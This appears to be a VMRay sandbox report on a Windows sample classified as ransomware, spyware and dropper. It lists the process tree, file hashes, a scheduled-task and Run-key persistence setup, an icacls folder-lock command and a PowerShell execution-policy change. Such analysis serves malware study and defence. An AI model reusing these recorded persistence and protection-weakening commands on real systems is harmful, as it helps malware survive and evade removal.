62a41801...758d | Grouped Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Dynamic Analysis Report
Classification: Spyware, Ransomware, Downloader, Dropper, Trojan

CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe

Windows Exe (x86-32)

Created at 2019-07-13T15:56:00

...

Remarks (2/3)

(0x200000e): The overall sleep time of all monitored processes was truncated from "30 seconds" to "10 seconds" to reveal dormant functionality.

(0x2000004): The operating system was rebooted during the analysis because the sample installed a startup script, task or application for persistence.

(0x200003a): 2 tasks were rescheduled ahead of time to reveal dormant functionality.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0x9d0 Analysis Target High (Elevated) cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" -
#3 0xa98 Child Process High (Elevated) icacls.exe icacls "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef" /deny *S-1-1-0:(OI)(CI)(DE,DC) #1
#4 0x50c Created Scheduled Job High (Elevated) taskeng.exe taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1] #1
#5 0xaa8 Child Process High (Elevated) cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --Admin IsNotAutoStart IsNotTask #1
#6 0xb04 Child Process High (Elevated) updatewin1.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe" #5
#7 0xb14 Child Process High (Elevated) updatewin2.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe" #5
#8 0xb1c Child Process High (Elevated) updatewin.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe" #5
#9 0xb30 Child Process High (Elevated) 5.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe" #5
#10 0xb3c Child Process High (Elevated) updatewin1.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe" --Admin #6
#11 0xb48 Child Process High (Elevated) powershell.exe powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned #10
#12 0xb98 Created Scheduled Job Medium taskeng.exe taskeng.exe {E387FC81-F75C-4FE1-BEB5-A923C4A8692A} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1] #5
#13 0xbb8 Child Process Medium cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --Task #12
#17 0x544 Autostart Medium cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --AutoStart -

Behavior Information - Grouped by Category

Process #1: cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe
649 2
»
Information Value
ID #1
File Name c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:25, Reason: Analysis Target
Unmonitor End Time: 00:00:43, Reason: Self Terminated
Monitor Duration 00:00:18
OS Process Information
»
Information Value
PID 0x9d0
Parent PID 0x45c (c:\windows\explorer.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 9D4
0x 9D8
0x 9DC
0x 9E0
0x 9E4
0x 9E8
0x 9EC
0x 9FC
0x A00
0x A0C
0x AA4
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe 0x00400000 0x0053FFFF Relevant Image - 32-bit - True False
...
buffer 0x002D8820 0x0031ECEB Marked Executable - 32-bit - False False
...
buffer 0x002D8820 0x0031ECEB Content Changed - 32-bit 0x002DA081, 0x002D9756 False False
...
buffer 0x002D8820 0x0031ECEB Content Changed - 32-bit 0x002DA076 False False
...
cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe 0x00400000 0x0053FFFF Process Termination - 32-bit - True False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe 584.00 KB MD5: 60d8a2635761fc6413be207283a62df5
SHA1: a01783132bbff465f26e47a7d5bb2a27999d424d
SHA256: 62a41801d8901c667a7b06ce2a41be7adc147857d4f6d5f724ea0d4eb2d1758d
SSDeep: 12288:i644SL+ZzPnbWT6S2hx1gHlwNQSg6DMYM/CNR2X1fuN:inUm6rgHlwaSHYiR2FO 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe 584.08 KB MD5: 36ef22b0ddbff60d04e712692559c276
SHA1: ba1288c83886ec1a935ea25187f9249f2f857987
SHA256: 23bf60318213d8ff401a2e4afabb508b1a2fcac0e1fd147cd278029ba57170a4
SSDeep: 12288:HyaXzUq+cmWJ/b1H2hx1gHlwNQSg6DMYM/CNR2X1fuNC:HyaXoq+WVbigHlwaSHYiR2FOC 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\microsoft\windows\temporary internet files\content.ie5\x9ohk109\geo[1].json 465 bytes MD5: d6727470681ecc2ca56bbd0486b4fa97
SHA1: 693756ab251ef2d82a91d94a2e5b78a9604d8bac
SHA256: 8b37ae3083eb3bb497d0de9aa0f48e4fa2b893726e2a9787e6dad0ecd40d9613
SSDeep: 12:YCJcjmdVQVCRbwXhCdEVQVPB8yPt0fRbIRAJdxFQVyrhmXoB2SH4:YODQVCRbwxCCQVvV0fRbI2JdxFQVyNm5 		False
...
Modified Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe 584.08 KB MD5: 36ef22b0ddbff60d04e712692559c276
SHA1: ba1288c83886ec1a935ea25187f9249f2f857987
SHA256: 23bf60318213d8ff401a2e4afabb508b1a2fcac0e1fd147cd278029ba57170a4
SSDeep: 12288:HyaXzUq+cmWJ/b1H2hx1gHlwNQSg6DMYM/CNR2X1fuNC:HyaXoq+WVbigHlwaSHYiR2FOC 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\cookies\index.dat 32.00 KB MD5: 74d69403f4a938faa28298c110bc71c3
SHA1: c016f27979d48a90bb341ccf7ffef41a3955f4d5
SHA256: 8b9d3a6a22778e368c9e81397e2b1af64b9739f7ade535966708f34bcf6eada9
SSDeep: 48:qMhaLouhzppiksLSLWFM+AWi3QTGnbYbQWy58V4l9:qO7appiksLSLaH0QCnMbQ5ll9 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\microsoft\windows\temporary internet files\content.ie5\index.dat 64.00 KB MD5: 2db89fb48fd886b621627751f2ae15ed
SHA1: e2f78c6a535f4ba230a4470402b6f905f0b4c066
SHA256: dfc9aeb2ad6900a7b836db92a36a9d2162c84551134c0291757cc352206a3166
SSDeep: 384:gnjyLKYBfFVZJptKF2KTFZTCzXTtX+Yih9aX5Jqiq+AN:6OLKYBdVZJptKF2KTFZTCzp++8 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\microsoft\windows\history\history.ie5\index.dat 64.00 KB MD5: 5c34c84321f2a7962055b15af8399ba8
SHA1: 00b5524e62bc576f01d819b8070a8386508db4d8
SHA256: a3418d48ef7582de86e5b3e3e80bdd549b52d68fbbf62edf187ef6ad119c4d6f
SSDeep: 192:stC5PKZmS5SYZ4SxSaSYSYSTS6SpSzSOSUSWSZSpSfS7vSGXSypS2SRSvwSnASRP:stGPKiRplTuEmGolB 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ietldcache\index.dat 256.00 KB MD5: 6852149628dae385c68c7a9db7028560
SHA1: c6e02c929ec99f984b04876816024c3a39b88ccb
SHA256: 53ae38a5bdbd72f76bf578f6c36e0b54a994003f535dbc1b469c12f3a169e3a4
SSDeep: 384:p8JEJH45Y0z6hKO59HqXRIhHPQ3NGjt3hAJnNH0kHf9QV9wRULzArvCCjgnF5TRy:pTHcEt8jdjFQg2cEbcaaoQARz40LG 		False
...
Host Behavior
COM (8)
»
Operation Class Interface Additional Information Success Count Logfile
Create TaskScheduler ITaskService cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute TaskScheduler ITaskService method_name = Connect, server_name = 151, domain = 151, password = 4289035 True 1
Fn
Execute TaskScheduler ITaskService method_name = GetFolder, path = \, new_interface = ITaskFolder True 1
Fn
Execute TaskScheduler ITaskService method_name = NewTask, new_interface = ITaskDefinition True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Triggers, new_interface = ITriggerCollection True 1
Fn
Execute TaskScheduler ITriggerCollection method_name = Create, type = TASK_TRIGGER_TIME, new_interface = IDailyTrigger True 1
Fn
Execute TaskScheduler IDailyTrigger method_name = put_StartBoundary, start_boundary = 2019-07-14T01:57:48 True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Actions, new_interface = IActionCollection True 1
Fn
File (9)
»
Operation Filename Additional Information Success Count Logfile
Create Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef - True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Copy C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe True 1
Fn
Delete C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe - False 1
Fn
Registry (4)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = 0, type = REG_NONE False 1
Fn
Write Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --AutoStart, size = 326, type = REG_EXPAND_SZ True 1
Fn
Process (52)
»
Operation Process Additional Information Success Count Logfile
Create icacls os_pid = 0xa98, creation_flags = CREATE_DETACHED_PROCESS, CREATE_IDLE_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe show_window = SW_SHOW True 1
Fn
Enumerate Processes - - True 1
Fn
Open System desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\audiodg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\program files\internet explorer\consists.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\combat_zum.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows photo viewer\inch_allocated.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\reference assemblies\tired_accessibility_tie.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\elephant.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\size_magnetic.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\namely.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\microsoft office\peter simply interfaces.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft analysis services\comply_holdings_miami.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\microsoft visual studio 8\pills.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\dvd maker\fascinating.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\dvd maker\architectural.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\reference assemblies\integrating-prev.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\interact_mixture_famous.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\conhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\dvd maker\dreams personality.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\failure.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sql server compact edition\generation_prints_boutique.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla firefox\loves.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows nt\hiring.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\humanity maximum.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\constructed.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\contractors-latinas-why.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\mobsync.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Module (290)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 3
Fn
Load RPCRT4.dll base_address = 0x75ee0000 True 1
Fn
Load MPR.dll base_address = 0x74b50000 True 1
Fn
Load WININET.dll base_address = 0x753d0000 True 1
Fn
Load WINMM.dll base_address = 0x74b10000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load USER32.dll base_address = 0x74f40000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load ole32.dll base_address = 0x755e0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x75220000 True 1
Fn
Load IPHLPAPI.DLL base_address = 0x74af0000 True 1
Fn
Load WS2_32.dll base_address = 0x75bc0000 True 1
Fn
Load DNSAPI.dll base_address = 0x74a90000 True 1
Fn
Load CRYPT32.dll base_address = 0x759b0000 True 1
Fn
Load msvcr100.dll base_address = 0x749d0000 True 1
Fn
Load Psapi.dll base_address = 0x75140000 True 1
Fn
Load Shell32.dll base_address = 0x75fd0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 3
Fn
Get Handle mscoree.dll - False 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe, size = 260 True 2
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe, size = 1024 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x76c349d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 2
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeW, address_out = 0x75f01635 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringW, address_out = 0x75f21ee5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringA, address_out = 0x75f5d918 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeA, address_out = 0x75f23fc5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidCreate, address_out = 0x75eff48b True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetCloseEnum, address_out = 0x74b52dd6 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetOpenEnumW, address_out = 0x74b52f06 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetEnumResourceW, address_out = 0x74b53058 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x753eab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlW, address_out = 0x7544be5c True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x753eb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlA, address_out = 0x754130f1 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpQueryInfoW, address_out = 0x753f5c75 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x753ff18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenW, address_out = 0x753f9197 True 1
Fn
Get Address c:\windows\syswow64\winmm.dll function = timeGetTime, address_out = 0x74b126e0 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindExtensionW, address_out = 0x7535a1b9 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindFileNameW, address_out = 0x7535bb71 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x75353248 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsW, address_out = 0x753545bf True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendA, address_out = 0x7534d65e True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7537ad1a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x76c3110c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76c34435 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x76c317d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryW, address_out = 0x76c34259 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalDrives, address_out = 0x76c35371 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x76c4ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OpenProcess, address_out = 0x76c31986 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalAlloc, address_out = 0x76c3588e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemDirectoryW, address_out = 0x76c35063 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryW, address_out = 0x76c3492b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileW, address_out = 0x76c5830d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FormatMessageW, address_out = 0x76c34620 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpynW, address_out = 0x76c5d556 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76c31072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76c33ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x76c52b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcmpW, address_out = 0x76c35929 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenW, address_out = 0x76c31700 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x76c5594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSizeEx, address_out = 0x76c359e2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MoveFileW, address_out = 0x76c49af0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32FirstW, address_out = 0x76c58baf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x76c3168c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventW, address_out = 0x76c3183e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32NextW, address_out = 0x76c5896c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatW, address_out = 0x76c5828e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateMutexA, address_out = 0x76c34c6b True 1
Fn
